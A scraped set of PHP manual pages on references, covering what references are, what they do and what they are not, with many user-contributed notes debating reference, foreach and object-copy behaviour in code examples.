I found a subtle feature of references that caused a bug in one of my PHP applications.  In short, if an object passes one of its members to an external function that takes a reference as an argument, the external function can turn that member into a reference to an anonymous point in memory.

Why is this a problem?  Later, when you copy the object with $a = $b, the copy and the original share memory.

Solution: If you want to have a function that uses references to modify a member of your object, your object should never pass the member to the function directly. It should first make a copy of the member. Then give that copy to the function.  Then copy the new value of that copy in to your original object member.

Below is some code that can reporoduce the this feature and demonstrate the workaround.

function modify1 ( &$pointer_obj ){
  $pointer_obj->property = 'Original Value';
}

function modify2 ( &$pointer_obj ){
  $newObj->property = 'Original Value';
  $pointer_obj = $newObj;
}

class a {
  var $i;   # an object with properties

  function corrupt1(){
    modify1 ($this->i);
  }

  function doNotCorrupt1(){
    $tmpi = $this->i;
    modify1 ($tmpi);
    $this->i = $tmpi;
  }

  function corrupt2(){
    modify2 ($this->i);
  }

  function doNotCorrupt2(){
    $tmpi = $this->i;
    modify2 ($tmpi);
    $this->i = $tmpi;
  }

}

$functions = array ('corrupt1', 'corrupt2', 'doNotCorrupt1', 'doNotCorrupt2');

foreach ($functions as $func){

  $original = new a;

  ### Load some data in to the orginal with one of the four $functions
  $original->$func();

  $copy = $original;

  $copy->i->property = "Changed after the copy was made.";

  echo "\n{$func}: \$original->i->property = '" . $original->i->property . "'";
}

The script generates output:

corrupt1: $original->i->property = 'Changed after the copy was made.'
corrupt2: $original->i->property = 'Changed after the copy was made.'
doNotCorrupt1: $original->i->property = 'Original Value'
doNotCorrupt2: $original->i->property = 'Original Value'
rlynch at lynchmarks dot com 17-May-2005 02:51
And, further...

<?php
    $intSize = sizeof($arrData);

    for($i = 0; $i < $intSize; $n++) {
       // Do stuff
    }
?>

Can be shortened even further by using the often overlooked 'decrement until zero' concept.  I don't much like decrementing to get a job done, but it can make a lot of sense when the evaluation-of-doneness is time-costly:

<?php
    for($i = sizeof($arrData); $i-- > 0 ; ) {
        // Do stuff
    }
?>

One less variable to toss on the heap.  NOTE that rather inconveniently, the $i goes to and hits zero only in the case where it starts out positive.  When it is zero to begin with, it will become -1.  Bug or feature?  I've used it as a feature as a quick test of whether the $arrData array was empty to begin with.  If you don't plan on using $i after the loop for anything, it makes no difference.

If you need to be doing something ascending-sequential though, then the temporary variable suggestions that others have made makes the most sense.

Finally (and important) ... if the $arrData array is somehow being dynamically modified in size due to the //Do-Stuff routine underneath, then you may have little-to-no recourse except to use the sizeof() method/function in the loop.  Or, keep up the temporary variable in the loop as you push and pop things into and off the array.

(sigh... this is the notable failing of deeply linked internal data structures: to figure out the size of any linked list of arbitrarily composed elements, the entire array needs to be "walked" every time the sizeof() or count() method is used.  But compared to the flexibility of associative arrays, the cost is mitigated by careful use.)

GoatGuy
nslater at gmail dot com 15-Mar-2005 07:12
In addition to the note made by "Francis dot a at gmx dot net" you should not normally be using a function such as sizeof() or count() in a control structure such as FOR because the same value is being calculated repeatedly for each iteration. This can slow things down immensely, regardless of whether you pass by value or reference.

It is generally much better to calculate the static values before the defining the looping control structure.

Example:

<?php

$intSize = sizeof($arrData);

for($i = 0; $i < $intSize; $n++) {
    // Do stuff
}

?>
Carlos 14-Mar-2005 12:09
in the example below, you would get the same result if you change the function to something like:

function test_ref(&$arr) {
   $time = time();
   $size = sizeof($arr);       // <--- this makes difference...
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }

   echo "<br />The function using a reference took ".(time() - $time)." s";
}
Francis dot a at gmx dot net 09-Feb-2005 10:53
I don't know if this is a bug (I'm using PHP 5.01) but you should be careful when using  references on arrays.
I had a for-loop that was incredibly slow and it took me some time to find out that most of the time was wasted with the  function sizeof() at every loop, and even more time I spent  finding out that this problem it must be somehow related to the fact, that I used a reference of the array. Take a look at the following example:

function test_ref(&$arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The function using a reference took ".(time() - $time)." s";
}

function test_val($arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The funktion using a value took: ".(time() - $time)." s";
}

// fill array
for($n=0; $n<2000; $n++) {
    $ar[] = "test".$n;
}

test_ref($ar);
test_val($ar);
echo "<br />Done";

When I tested it, the first function was done after 9 seconds, while the second (although the array must be copied) was done in not even one.

The difference is inproportional smaller when the array size is reduced:
When using 1000 loops the first function was running for 1 second, when using 4000 it wasn't even done after 30 Seconds.
jw at jwscripts dot com 16-Oct-2004 05:18
Re-using variables which where references before, without unsetting them first, leads to unexpected behaviour.

The following code:

<?php

$numbers = array();

for ($i = 1; $i < 4; $i++) {
    $numbers[] = null;
    $num = count($numbers);
    $index =& $numbers[$num ? $num - 1 : $num];
    $index = $i;
}

foreach ($numbers as $index) {
    print "$index\n";
}

?>

Does not produce:
1
2
3

But instead:
1
2
2

Applying unset($index) before re-using the variable fixes this and the expected list will be produced:
1
2
3
hkmaly at bigfoot dot com 15-Sep-2004 08:11
It seems like PHP has problems with references, like that it can't work properly with circular references or free properly structure with more references. See http://bugs.php.net/?id=30053.

I have big problem with this and I hope someone from PHP add proper warning with explanation IN manual, if they can't fix it.
jlaing at gmail dot com 17-Jul-2004 08:28
While trying to do object references with the special $this variable I found that this will not work:
class foo {
  function bar() {
    ...
    $this =& $some_other_foo_obj;
  }
}

If you want to emulate this functionality you must iterate through the vars of the class and assign references like this:

$vars = get_class_vars('foo');
foreach (array_keys($vars) as $field) {
  $this->$field =& $some_other_foo_obj->$field;
}

Now if you modify values within $this they will be modified within $some_other_foo_obj and vice versa.

Hope that helps some people!

p.s.
developer at sirspot dot com's note about object references doesn't seem correct to me.

  $temp =& $object;
  $object =& $temp->getNext();

Does the same exact thing as:

  $object =& $object->getNext();

when you refernce $temp to $object all it does is make $temp an alias to the same memory as $object, so doing $temp->getNext(); and $object->getNext(); are calling the same function on the same object.  Try it out if you don't believe me.
thenewparadigm at hotmail dot com 07-May-2004 12:33
one very useful aspect for reference that i don't think i saw documented was the ability to skip a few steps with objects stored in objects.

for example:

assuming the object structure is correctly constructed (and mind you i haven't tried this in php, but it does work in most other high-end programming languages), instead of using this structure to get a variable/function

//start

$obj1 -> obj2 -> obj3 -> varX = 0;
$obj1 -> obj2 -> obj3 -> varY = 0;
$obj1 -> obj2 -> obj3 -> functionX();
$obj1 -> obj2 -> obj3 -> functionY();

//end

you can use this method:

//start

$tempObj = & $obj1 -> obj2 -> obj3;

$tempObj -> varX = 0;
$tempObj -> varY = 0;
$tempObj -> functionX();
$tempObj -> functionY();

//end

note, if you want to use a shortcut variable to modify the original object you must include the ampersand (&) to reference the variable, otherwise if you used this line of code

//start

$tempObj = $obj1 -> obj2 -> obj3;

//end

any changes you make to $tempObj will not change the original object and may compromise the object structure, not to mention that it takes up extra memory.  however, if you are just using the shortcut variable for read-only purposes, not using a reference wont cause any problems.

another alternative in programming languages is the 'with' structure as seen below

//start

with($obj1 -> obj2 -> obj3) {
    varX = 0;
    varY = 0;
    functionX();
    functionY();
}

//end

however, i don't expect this will work because as far as i've seen the 'with' structure is not supported in php.
nathan 05-Apr-2004 10:53
On the post that says php4 automagically makes references, this appears to *not* apply to objects:

http://www.php.net/manual/en/language.references.whatdo.php

"Note:  Not using the & operator causes a copy of the object to be made. If you use $this in the class it will operate on the current instance of the class. The assignment without & will copy the instance (i.e. the object) and $this will operate on the copy, which is not always what is desired. Usually you want to have a single instance to work with, due to performance and memory consumption issues."
iryoku at terra dot es 30-Mar-2004 10:22
You should have in mind that php4 keep assigned variables "automagically" referenced until they are overwritten. So the variable copy is not executed on assignment, but on modification. Say you have this:

$var1 = 5;
$var2 = $var1; // In this point these two variables share the same memory location
$var1 = 3; // Here $var1 and $var2 have they own memory locations with values 3 and 5 respectively

Don't use references in function parameters to speed up aplications, because this is automatically done. I think that this should be in the manual, because it can lead to confusion.

More about this here:
http://www.zend.com/zend/art/ref-count.php
developer at sirspot dot com 03-Feb-2004 10:30
Since references are more like hardlinks than pointers, it is not possible to change a reference to an object by using that same reference.  For example:

The following WILL NOT WORK as expected and may even crash the PHP interpreter:

$object =& $object->getNext();

However, by changing the previous statement to use a temporary reference, this WILL WORK:

$temp =& $object;
$object =& $temp->getNext();
Extending Exceptions
What References Are
Language Reference


What References Are

References in PHP are a means to access the same variable content by different names. They are not like C pointers; for instance, you cannot perform pointer arithmetic using them, they are not actual memory addresses, and so on. See What References Are Not for more information. Instead, they are symbol table aliases. Note that in PHP, variable name and variable content are different, so the same content can have different names. The closest analogy is with Unix filenames and files - variable names are directory entries, while variable content is the file itself. References can be likened to hardlinking in Unix filesystem.

User Contributed Notes

There are no user contributed notes for this page.
References Explained
What References Do
References Explained


What References Do

There are three basic operations performed using references: assigning by reference, passing by reference, and returning by reference. This section will give an introduction to these operations, with links to further reading.

Assign By Reference

In the first of these, PHP references allow you to make two variables refer to the same content. Meaning, when you do:

<?php
$a =& $b;
?>
it means that $a and $b point to the same content.

Note:

$a and $b are completely equal here. $a is not pointing to $b or vice versa. $a and $b are pointing to the same place.

Note:

If you assign, pass, or return an undefined variable by reference, it will get created.

Example #1 Using references with undefined variables

<?php
function foo(&$var) { }

foo($a); // $a is "created" and assigned to null

$b = array();
foo($b['b']);
var_dump(array_key_exists('b', $b)); // bool(true)

$c = new StdClass;
foo($c->d);
var_dump(property_exists($c, 'd')); // bool(true)
?>

The same syntax can be used with functions that return references, and with the new operator (since PHP 4.0.4 and before PHP 5.0.0):

<?php
$foo =& find_var($bar);
?>
Since PHP 5, new returns a reference automatically, so using =& in this context is deprecated and produces an E_DEPRECATED message in PHP 5.3 and later, and an E_STRICT message in earlier versions. (Technically, the difference is that, in PHP 5, object variables, much like resources, are a mere pointer to the actual object data, so these object references are not "references" in the same sense used before (aliases). For more information, see Objects and references.)

Warning

If you assign a reference to a variable declared global inside a function, the reference will be visible only inside the function. You can avoid this by using the $GLOBALS array.

Example #2 Referencing global variables inside functions

<?php
$var1 = "Example variable";
$var2 = "";

function global_references($use_globals)
{
    global $var1, $var2;
    if (!$use_globals) {
        $var2 =& $var1; // visible only inside the function
    } else {
        $GLOBALS["var2"] =& $var1; // visible also in global context
    }
}

global_references(false);
echo "var2 is set to '$var2'\n"; // var2 is set to ''
global_references(true);
echo "var2 is set to '$var2'\n"; // var2 is set to 'Example variable'
?>
Think about global $var; as a shortcut to $var =& $GLOBALS['var'];. Thus assigning another reference to $var only changes the local variable's reference.

Note:

If you assign a value to a variable with references in a foreach statement, the references are modified too.

Example #3 References and foreach statement

<?php
$ref = 0;
$row =& $ref;
foreach (array(1, 2, 3) as $row) {
    // do something
}
echo $ref; // 3 - last element of the iterated array
?>

While not being strictly an assignment by reference, expressions created with the language construct array() can also behave as such by prefixing & to the array element to add. Example:

<?php
$a = 1;
$b = array(2, 3);
$arr = array(&$a, &$b[0], &$b[1]);
$arr[0]++; $arr[1]++; $arr[2]++;
/* $a == 2, $b == array(3, 4); */
?>

Note, however, that references inside arrays are potentially dangerous. Doing a normal (not by reference) assignment with a reference on the right side does not turn the left side into a reference, but references inside arrays are preserved in these normal assignments. This also applies to function calls where the array is passed by value. Example:

<?php
/* Assignment of scalar variables */
$a = 1;
$b =& $a;
$c = $b;
$c = 7; //$c is not a reference; no change to $a or $b

/* Assignment of array variables */
$arr = array(1);
$a =& $arr[0]; //$a and $arr[0] are in the same reference set
$arr2 = $arr; //not an assignment-by-reference!
$arr2[0]++;
/* $a == 2, $arr == array(2) */
/* The contents of $arr are changed even though it's not a reference! */
?>
In other words, the reference behavior of arrays is defined in an element-by-element basis; the reference behavior of individual elements is dissociated from the reference status of the array container.

Pass By Reference

The second thing references do is to pass variables by reference. This is done by making a local variable in a function and a variable in the calling scope referencing the same content. Example:

<?php
function foo(&$var)
{
    $var++;
}

$a=5;
foo($a);
?>
will make $a to be 6. This happens because in the function foo the variable $var refers to the same content as $a. For more information on this, read the passing by reference section.

Return By Reference

The third thing references can do is return by reference.

User Contributed Notes

nay at woodcraftsrus dot com 08-Jul-2011 09:35
in PHP you don't really need pointer anymore if you want to share an  object across your program

<?php
class foo{
        protected $name;
        function __construct($str){
                $this->name = $str;
        }
        function __toString(){
                return  'my name is "'. $this->name .'" and I live in "' . __CLASS__ . '".' . "\n";
        }
        function setName($str){
                $this->name = $str;
        }
}

class MasterOne{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

class MasterTwo{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

$bar = new foo('bar');

print("\n");
print("Only Created \$bar and printing \$bar\n");
print( $bar );

print("\n");
print("Now \$baz is referenced to \$bar and printing \$bar and \$baz\n");
$baz =& $bar;
print( $bar );

print("\n");
print("Now Creating MasterOne and Two and passing \$bar to both constructors\n");
$m1 = new MasterOne( $bar );
$m2 = new MasterTwo( $bar );
print( $m1 );
print( $m2 );

print("\n");
print("Now changing value of \$bar and printing \$bar and \$baz\n");
$bar->setName('baz');
print( $bar );
print( $baz );

print("\n");
print("Now printing again MasterOne and Two\n");
print( $m1 );
print( $m2 );

print("\n");
print("Now changing MasterTwo's foo name and printing again MasterOne and Two\n");
$m2->setFooName( 'MasterTwo\'s Foo' );
print( $m1 );
print( $m2 );

print("Also printing \$bar and \$baz\n");
print( $bar );
print( $baz );
?>
elrah [] polyptych [dot] com 27-Jan-2011 10:38
It appears that references can have side-effects.  Below are two examples.  Both are simply copying one array to another.  In the second example, a reference is made to a value in the first array before the copy.  In the first example the value at index 0 points to two separate memory locations. In the second example, the value at index 0 points to the same memory location.

I won't say this is a bug, because I don't know what the designed behavior of PHP is, but I don't think ANY developers would expect this behavior, so look out.

An example of where this could cause problems is if you do an array copy in a script and expect on type of behavior, but then later add a reference to a value in the array earlier in the script, and then find that the array copy behavior has unexpectedly changed.

<?php
// Example one
$arr1 = array(1);
echo "\nbefore:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
$arr2 = $arr1;
$arr2[0]++;
echo "\nafter:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
echo "\$arr2[0] == {$arr2[0]}\n";

// Example two
$arr3 = array(1);
$a =& $arr3[0];
echo "\nbefore:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
$arr4 = $arr3;
$arr4[0]++;
echo "\nafter:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
echo "\$arr4[0] == {$arr4[0]}\n";
?>
akinaslan at gmail dot com 08-Jan-2011 05:31
In this example class name is different from its first function and however there is no construction function. In the end as you guess "a" and "c" are equal. So if there is no construction function at same time class and its first function names are the same, "a" and "c" doesn't equal forever. In my opinion php doesn't seek any function for the construction as long as their names differ from each others.

<?php
class reftest_new
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest_new();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 16-Jan-2010 03:14
I think a correction to my last post is in order.

When there is a constructor, the strange behavior mentioned in my last post doesn't occur. My guess is that php was treating reftest() as a constructor (maybe because it was the first function?) and running it upon instantiation.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function __construct()
    {
        return 0;
    }

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 15-Jan-2010 06:08
When using references in a class, you can reference $this-> variables.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b = 2;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>

However, this doesn't appear to be completely trustworthy. In some cases, it can act strangely.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 3.
echo $reference->c; //Echoes 2.
?>

In this second code block, I've changed reftest() so that $b increments instead of just gets changed to 2. Somehow, it winds up equaling 3 instead of 2 as it should.
strata_ranger at hotmail dot com 26-Sep-2009 03:29
An interesting if offbeat use for references:  Creating an array with an arbitrary number of dimensions.

For example, a function that takes the result set from a database and produces a multidimensional array keyed according to one (or more) columns, which might be useful if you want your result set to be accessible in a hierarchial manner, or even if you just want your results keyed by the values of each row's primary/unique key fields.

<?php
function array_key_by($data, $keys, $dupl = false)
/*
 * $data  - Multidimensional array to be keyed
 * $keys  - List containing the index/key(s) to use.
 * $dupl  - How to handle rows containing the same values.  TRUE stores it as an Array, FALSE overwrites the previous row.
 *
 * Returns a multidimensional array indexed by $keys, or NULL if error.
 * The number of dimensions is equal to the number of $keys provided (+1 if $dupl=TRUE).
 */
{
    // Sanity check
    if (!is_array($data)) return null;

    // Allow passing single key as a scalar
    if (is_string($keys) or is_integer($keys)) $keys = Array($keys);
    elseif (!is_array($keys)) return null;

    // Our output array
    $out = Array();

    // Loop through each row of our input $data
    foreach($data as $cx => $row) if (is_array($row))
    {

      // Loop through our $keys
      foreach($keys as $key)
      {
        $value = $row[$key];

        if (!isset($last)) // First $key only
        {
          if (!isset($out[$value])) $out[$value] = Array();
          $last =& $out; // Bind $last to $out
        }
        else // Second and subsequent $key....
        {
          if (!isset($last[$value])) $last[$value] = Array();
        }

        // Bind $last to one dimension 'deeper'.
        // First lap: was &$out, now &$out[...]
        // Second lap: was &$out[...], now &$out[...][...]
        // Third lap:  was &$out[...][...], now &$out[...][...][...]
        // (etc.)
        $last =& $last[$value];
      }

      if (isset($last))
      {
        // At this point, copy the $row into our output array
        if ($dupl) $last[$cx] = $row; // Keep previous
        else       $last = $row; // Overwrite previous
      }
      unset($last); // Break the reference
    }
    else return NULL;

    // Done
    return $out;
}

// A sample result set to test the function with
$data = Array(Array('name' => 'row 1', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_a'),
              Array('name' => 'row 2', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_b'),
              Array('name' => 'row 3', 'foo' => 'foo_a', 'bar' => 'bar_b', 'baz' => 'baz_c'),
              Array('name' => 'row 4', 'foo' => 'foo_b', 'bar' => 'bar_c', 'baz' => 'baz_d')
              );

// First, let's key it by one column (result: two-dimensional array)
print_r(array_key_by($data, 'baz'));

// Or, key it by two columns (result: 3-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar')));

// We could also key it by three columns (result: 4-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar', 'foo')));

?>
dnhuff at acm dot org 09-Jun-2008 11:33
In reply to Drewseph using foo($a = 'set'); where $a is a reference formal parameter.

$a = 'set' is an expression. Expressions cannot be passed by reference, don't you just hate that, I do. If you turn on error reporting for E_NOTICE, you will be told about it.

Resolution: $a = 'set'; foo($a); this does what you want.
Drewseph 29-May-2008 04:15
If you set a variable before passing it to a function that takes a variable as a reference, it is much harder (if not impossible) to edit the variable within the function.

Example:
<?php
function foo(&$bar) {
    $bar = "hello\n";
}

foo($unset);
echo($unset);
foo($set = "set\n");
echo($set);

?>

Output:
hello
set

It baffles me, but there you have it.
Amaroq 31-Mar-2008 10:56
The order in which you reference your variables matters.

<?php
$a1 = "One";
$a2 = "Two";
$b1 = "Three";
$b2 = "Four";

$b1 =& $a1;
$a2 =& $b2;

echo $a1; //Echoes "One"
echo $b1; //Echoes "One"

echo $a2; //Echoes "Four"
echo $b2; //Echoes "Four"
?>
charles at org oo dot com 19-Oct-2007 03:59
points to post below me.
When you're doing the references with loops, you need to unset($var).

for example
<?php
foreach($var as &$value)
{
...
}
unset($value);
?>
Hlavac 09-Oct-2007 02:25
Watch out for this:

foreach ($somearray as &$i) {
  // update some $i...
}
...
foreach ($somearray as $i) {
  // last element of $somearray is mysteriously overwritten!
}

Problem is $i contians reference to last element of $somearray after the first foreach, and the second foreach happily assigns to it!
dovbysh at gmail dot com 06-Jul-2007 12:50
Solution to post "php at hood dot id dot au 04-Mar-2007 10:56":

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

unset($GLOBALS['v']);

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo x

?>
amp at gmx dot info 08-Jun-2007 10:59
Something that might not be obvious on the first look:
If you want to cycle through an array with references, you must not use a simple value assigning foreach control structure. You have to use an extended key-value assigning foreach or a for control structure.

A simple value assigning foreach control structure produces a copy of an object or value. The following code

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $v)
{
  $v1++;
  echo $v."\n";
}

yields

0
1

which means $v in foreach is not a reference to $v1 but a copy of the object the actual element in the array was referencing to.

The codes

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $k=>$v)
{
    $v1++;
    echo $arrV[$k]."\n";
}

and

$v1=0;
$arrV=array(&$v1,&$v1);
$c=count($arrV);
for ($i=0; $i<$c;$i++)
{
    $v1++;
    echo $arrV[$i]."\n";
}

both yield

1
2

and therefor cycle through the original objects (both $v1), which is, in terms of our aim, what we have been looking for.

(tested with php 4.1.3)
firespade at gmail dot com 03-Apr-2007 07:11
Here's a good little example of referencing. It was the best way for me to understand, hopefully it can help others.

$b = 2;
$a =& $b;
$c = $a;
echo $c;

// Then... $c = 2
php at hood dot id dot au 04-Mar-2007 10:56
I discovered something today using references in a foreach

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo b (!)
?>

After reading the manual this looks like it is meant to happen. But it confused me for a few days!

(The solution I used was to turn the second foreach into a reference too)
ladoo at gmx dot at 17-Apr-2005 02:05
I ran into something when using an expanded version of the example of pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu below.
This could be somewhat confusing although it is perfectly clear if you have read the manual carfully. It makes the fact that references always point to the content of a variable perfectly clear (at least to me).

<?php
$a = 1;
$c = 2;
$b =& $a; // $b points to 1
$a =& $c; // $a points now to 2, but $b still to 1;
echo $a, " ", $b;
// Output: 2 1
?>
php.devel at homelinkcs dot com 15-Nov-2004 03:16
In reply to lars at riisgaardribe dot dk,

When a variable is copied, a reference is used internally until the copy is modified.  Therefore you shouldn't use references at all in your situation as it doesn't save any memory usage and increases the chance of logic bugs, as you discoved.
joachim at lous dot org 10-Apr-2003 03:46
So to make a by-reference setter function, you need to specify reference semantics _both_ in the parameter list _and_ the assignment, like this:

class foo{
   var $bar;
   function setBar(&$newBar){
      $this->bar =& newBar;
   }
}

Forget any of the two '&'s, and $foo->bar will end up being a copy after the call to setBar.
What References Are
What References Are Not
References Explained


What References Are Not

As said before, references are not pointers. That means, the following construct won't do what you expect:

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

What happens is that $var in foo will be bound with $bar in the caller, but then re-bound with $GLOBALS["baz"]. There's no way to bind $bar in the calling scope to something else using the reference mechanism, since $bar is not available in the function foo (it is represented by $var, but $var has only variable contents and not name-to-value binding in the calling symbol table). You can use returning references to reference variables selected by the function.

User Contributed Notes

briank at kappacs dot com 25-Jan-2011 02:38
I think the terminology is tripping people up when it comes to assigning objects.

Try thinking of binding and references like this:

<?php
# Code:
$a = 5; $b =& $a; $c = new stdClass(); $d = $c;

# Behind the scenes symbol table and values:
$global_names = array(
'a' => array('binding' => 0),
'b' => array('binding' => 0),
'c' => array('binding' => 1),
'd' => array('binding' => 2),
);
$values = array(
0 => array('type' => 'scalar', 'value' => 5),
1 => array('type' => 'objId', 'value' => 0),
2 => array('type' => 'objId', 'value' => 0)
);
?>

$a is bound to (or references, or is a reference to) the value at index 0 (scalar 5).
$b is bound to the same thing as $a--the value at index 0 (scalar 5).
$c is bound to the value at index 1 (object ID 0).
$d is bound to the value at index 2 (a separate and distinct value also referring to object ID 0).

When the documentation states that you cannot [re-]bind $bar to something else from within the example function foo, it means you can't change what in my pseudo-engine would be $global_names['bar']['binding']. You can only change $values[$names['var']['binding']] (using "$var ="; the same value referenced/bound by $values[$global_names['bar']['binding']) or $names['var']['binding'] (using "$var =&").

Also consider this code:

<?php
$a = 3; $b =& $a;
function foo (&$c) { $c = new stdClass(); }
function bar () { return new stdClass(); }
function &fum () { return new stdClass(); }
if (!is_object($a)) { echo "\$a does not initially refer to an object\n"; }
foo($b);
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by foo\n";
if (is_object($a)) { echo "\$a now contains an object identifier\n"; }
$b =& bar();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by bar\n";
$b =& fum();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by fum\n";
?>

which outputs:

$a does not initially refer to an object
$b has not been re-bound by foo
$a now contains an object identifier
$b has not been re-bound by bar
$b has been re-bound by fum

In other words, the value can be changed but the binding does not (except for returning a reference), exactly as stated.

Object identifiers do make object "values" work like pointers (but not to the extent of C/C++, and not like references).
Anonymous 08-Jul-2010 09:25
I understand this like that:
  The reference in PHP is like creating single pointer at own variable in C/C++ and point at variable ( without pointers arithmetic and we can't get number of variable address in memory).

For example
<?php
$a = 4;
$b = &$a;
$c = &$b;
echo "$a - $b - $c<br>";
// 3 pointers ( a , b , c) point at memory location where  stored value of number is 4.
$c = 5;
echo "$a - $b - $c<br>";
// all variables equals 5;
unset($a);
$c = 6;
echo "$a - $b - $c<br>";
//$a is not exist but it was only pointer ( not real part of memory) so we have to way to get value or change it
?>
----
When we want create some "pointer of pointer" in PHP i can't do that because it's impossible in PHP. We need pointer to another pointer to change the place that the pointer refers to. In your exaple you just change value of variable in function. ( no operation of pointers )
russrobinson at tectite dot com 03-May-2010 02:22
The example shown is correct for scalars.

However, in PHP5 the example does not cover objects, which behave the opposite of the way this documentation indicates.

It is my view that object references in PHP5 are exactly like pointers in C++.

This example code illustrates my point:
<?php
class Dog
{
  var $Name;
  function Dog($name)
  {
    $this->Name = $name;
  }
  function GetName()
  {
    return ($this->Name);
  }
};

$bar = new Dog("Spot");
function foo(&$var)
{
    $var = new Dog("Gypsy");
}
foo($bar);
echo "<p>".$bar->GetName();
echo "<p>"."If that said 'Gypsy', then object references are really pointers";
?>

And the output is:

****
Gypsy

If that said 'Gypsy', then object references are really pointers
****

Therefore, corrected documentation should read (or similar):

"
Unless $bar is an object, there's no way to bind $bar in the calling scope to something else using the reference mechanism since $bar is not available in the function foo (it is represented by $var, but $var has only variable contents and not name-to-value binding in the calling symbol table).

If $bar is an object, then you can change $bar in the calling scope using the reference mechanism inside a function.
"

However, note that when I said:

"It is my view that object references in PHP5 are exactly like pointers in C++."

The "exactly like" part is misleading...

To clarify:

I don't mean PHP5 object references support pointer arithmetic or they contain memory addresses.

I mean that, in PHP5, when you pass object variables to functions they *behave* exactly like pointers to objects do in the same situation when writing in C++ (with the exception of the C++ features that just don't exist in PHP, such as pointer arithmetic).

Namely,
1. When you pass the object variable, the formal parameter behaves like a C++ pointer to the object inside the function.
2. When you pass the object variable by reference, the formal parameter behaves like a C++ reference to a pointer to the object inside the function.

The syntax is different between the languages, but the semantics are identical.
reggae dot player at centrum dot cz 29-Nov-2008 07:52
I have $scriptVar and $_SESSION['sessionVar'] and I want to bind them together using a custom SessionManager class. I want to selectively prefer the content of either var upon the situation - to be able to "link" either $scriptVar to $_SESSION['sessionVar'] (thus override the "content" of $scriptVar with the content of $_SESSION['sessionVar']) or to link $_SESSION['sessionVar'] to $scriptVar (vice versa).

But as somebody mentioned here already, PHP's references aren't really references, so the simplistic way to do this is impossible to use. I came up with the following:
<code>
... class def and other method declarations ...
public static function &linkVar($varName, &$var = null, $overrideSessionValue = false) {
  if ($overrideSessionValue === true) {
    $_SESSION[$varName] =& $var;
  } else {
    return $_SESSION[$varName];
  }
}
... class def and other method declarations continue ...
</code>
Now, when I want to override the Session value, I simply call the function with three params, first being the session var name, second being a reference to the $scriptVar and the third a "true" telling the function to link $_SESSION[$varName] to $var, which links to $scriptVar and therefore to link $_SESSION[$varName] to $scriptVar. When I want to link it the other way, to override $scriptVar's value with $_SESSION[$varName] and link them together, I call the function with only the $varName argument and assign it's output to $scriptVar as a reference. Tested, working... at least under PHP 5.3.
Andrew 04-Sep-2008 10:56
What References are not: References.

References are opaque things that are like pointers, except A) smarter and B) referring to HLL objects, rather than memory addresses. PHP doesn't have references. PHP has a syntax for creating *aliases* which are multiple names for the same object. PHP has a few pieces of syntax for calling and returning "by reference", which really just means inhibiting copying. At no point in this "references" section of the manual are there any references.
Anonymous 09-Jun-2008 11:52
The example given in the text:

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

illustrates (to my mind anyway) why the = and & should be written together as a new kind of replacement operator and not apart as in C, like  $var = &$GLOBALS["baz"];

Using totally new terminology:

To me the result of this function is not surprising because the =& means 'change the "destination" of $var from wherever it was to the same as the destination of $GLOBALS["baz"]. Well it 'was' the actual parameter $bar, but now it will be the global at "baz".

If you simply remove the & in the the replacement, it will place the value of $GLOBALS["baz'] into the destination of $var, which is $bar (unless $bar was already a reference, then the value goes into that destination.)

To summarize, =, replaces the 'destination's value; =&, changes the destination.
